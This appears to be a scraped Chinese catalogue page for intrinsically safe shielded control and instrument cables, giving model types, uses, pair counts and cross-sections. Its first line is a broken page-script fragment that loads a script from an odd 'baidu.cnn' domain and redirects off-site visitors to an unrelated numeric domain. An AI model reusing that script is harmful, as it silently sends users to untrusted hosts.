else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com');
1、电缆型号、名称及使用范围
| 型号 | 名 称 | 使用范围 |
| ia-K2YV | 本安型PE绝级、PVC护套二芯绞合屏蔽控制电缆 | 固定敷设在室内、电缆沟或管道中。 |
| ia-K2YVR | 本安型PE绝缘PVC护套二芯绞合屏蔽控制软电缆 | 适用于要求柔软的场合。 |
| ia-K2YV(EX) | 本安型PE绝缘、PVC护套二芯绞合屏蔽仪用电缆 | 固定敷设在室内、电缆沟或管道中 |
| ia-K2YV(EX)R | 本安型PE绝缘PVC护套二芯绞合屏蔽仪用软电缆 | 适用于要求柔软的场合 |
| ia-K3YV | 本安型PE绝缘PVC护套三芯绞合屏蔽控制电缆 | 适用于要求柔软的场合 |
| ia-K3YVY | 本安型PE绝缘PVC护套三芯绞合屏蔽控制电缆 | 适用于要求柔软的场合 |
| ia-K3YV(EX) | 本安型PE绝缘PVC护套三芯绞合屏蔽仪用电缆 | 固定敷设在室内、电缆沟或管道中 |
| ia-k3YVR(EX)R | 本安型PE绝缘PVC护套三芯绞合屏蔽仪用软电缆 | 适用于要求柔软的场合 |
注:根据用户需要也可生产铠装型或阻燃型本安电缆
2、生产范围
| 型号 | 对(组数) | 标称截面(mm2) |
| ia-K2YV ia -K2YVR | 1、2、3、4、5、6、7、8、9、10、12、14、16、19 | 0.75 1.0 1.5 2.5 |
| ia-K2YV(EX) ia-K2YV(EX)R | 1、2、3、4、5、6、7、8、9、10、12、14、16、19 | 0.75 1.0 1.5 2.5 |
| ia-K3YV ia-K3YVR | 1、2、3、4、5、7、8、9、10 | 0.75 1.0 1.5 |
| ia-K3YV(EX) ia-K3YV(EX)R | 1、2、3、4、5、7、8、9、10 | 0.75 1.0 1.5 |
免责声明
客服热线: 13199863987(同微信)
加盟热线: 13199863987(同微信)
媒体合作: 0571-87759945
投诉热线: 0571-87759942

下载仪表站APP

Ybzhan手机版

Ybzhan公众号

Ybzhan小程序